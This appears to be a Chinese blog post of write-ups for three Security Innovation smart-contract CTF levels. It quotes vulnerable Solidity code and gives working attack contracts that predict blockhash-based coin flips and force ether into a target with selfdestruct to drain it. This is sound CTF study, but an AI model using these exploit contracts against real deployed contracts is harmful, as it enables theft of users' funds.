security innovation 靶场刷题(下)(持续更新)

Heads or Tails

    
    function play(bool _heads) external payable ctf{
     
        require(msg.value == cost, "Incorrect Transaction Value");
        require(gameFunds >= cost.div(2), "Insufficient Funds in Game Contract");
        bytes32 entropy = blockhash(block.number-1);
        bytes1 coinFlip = entropy[0] & 1;
        if ((coinFlip == 1 && _heads) || (coinFlip == 0 && !_heads)) {
     
            //win
            gameFunds = gameFunds.sub(msg.value.div(2));
            msg.sender.transfer(msg.value.mul(3).div(2));
        }
        else {
     
            //loser
            gameFunds = gameFunds.add(msg.value);
        }
    }

还是一个简单的随机数问题,写个合约攻击一下就行。
一定一定一定一定记得写个自毁函数,不然钱就没了。

pragma solidity 0.4.24;
interface HeadsOrTails{
     
    
    function play(bool _heads) external payable;

}

contract Feng {
     
    HeadsOrTails constant private target = HeadsOrTails(0x6B1E8Df7b809bE6bECe0FBFd94e90d6a854b2CC3);
    function attack(uint max) public payable{
     
        for(uint i = 0; i < max; i++){
     
            bytes32 entropy = blockhash(block.number-1);
            bytes1 coinFlip = entropy[0] & 1;
            bool _heads = (coinFlip == 1) ?true:false;
            target.play.value(0.1 ether)(_heads);
        }
    }
    function() public payable{
     
        
    }
    function kill() public {
     
        selfdestruct(msg.sender);
    }
}

Record Label

这题怎么说呢,我感觉有些怪。虽然说这个靶场的过关条件就是把目标合约中的余额给清空即可。
这个函数:

    function withdrawFundsAndPayRoyalties(uint256 _withdrawAmount) external ctf{
     
        require(_withdrawAmount<=funds, "Insufficient Funds in Contract");
        funds = funds.sub(_withdrawAmount);
        royalties.call.value(_withdrawAmount)();
        uint256 royaltiesPaid = Royalties(royalties).getLastPayoutAmountAndReset();
        uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid); 
        msg.sender.transfer(artistPayout);
    }

如果我们直接转1 ether,那么会把这个合约的1 ether转给那个royalties,之后调用getLastPayoutAmountAndReset函数,得到的就是转入的总金额减去那边receive得到的钱,这部分的钱是转回了我们的目标合约中。但是

        uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid); 
        msg.sender.transfer(artistPayout);

这部分又转给了我们自己。说白了就是%80给那边,%20给我们。如果直接传1 ether,那么目标合约的余额就被清空了,成功过关。

不过有一说一这题目吃我钱就有点难受的,我的想法是这个函数是可以修改receiverToPercentOfProfit的:

    function addRoyaltyReceiver(address _receiver, uint256 _percent) external isArtist{
     
        require(_percent<percentRemaining, "Precent Requested Must Be Less Than Percent Remaining");
        receiver.push(_receiver);
        receiverToPercentOfProfit[_receiver] = _percent;
        percentRemaining = percentRemaining.sub(_percent);
    }

虽然address private collectionsContract;是private,但是可以读到,然后把它作为_receiver传进入,_percent传0,就能把他的那%80清空。然后再withdrawFundsAndPayRoyalties传1 ether的话,就能把1 ether完全转回我们自己的账号的。

怪就怪在,我找的几个WP都是说直接传1 ether过关即可。。。虽然是虚拟即ETH,但是我ETH真的不多,所以想方设法把它转回来。。。可能写WP的那些师傅们ETH比较多叭。。。
操作比较简单,这里就不具体放了。

Slot Machine

简单的逻辑:

    function() external payable ctf{
     
        require(msg.value == 1 szabo, "Incorrect Transaction Value");
        if (address(this).balance >= winner){
     
            msg.sender.transfer(address(this).balance);
        }
    }

szabo是:
security innovation 靶场刷题(下)(持续更新)_第1张图片
需要让目标的余额>=5ether就可以把钱转会我们的,但是每次给目标转都只能转1 szabo,肯定不行。因此这里利用selfdestruct来自毁合约来实现强制转钱即可。

pragma solidity 0.4.24;

contract Feng {
     
    address public target = 0xeB71766553dA11D743710592DA9FF16029aEBA25;
    function kill() payable {
     
        selfdestruct(target);
    }
}

转3.5 ether。
然后再自己转给目标1 szabo即可。

你可能感兴趣的:(区块链,智能合约)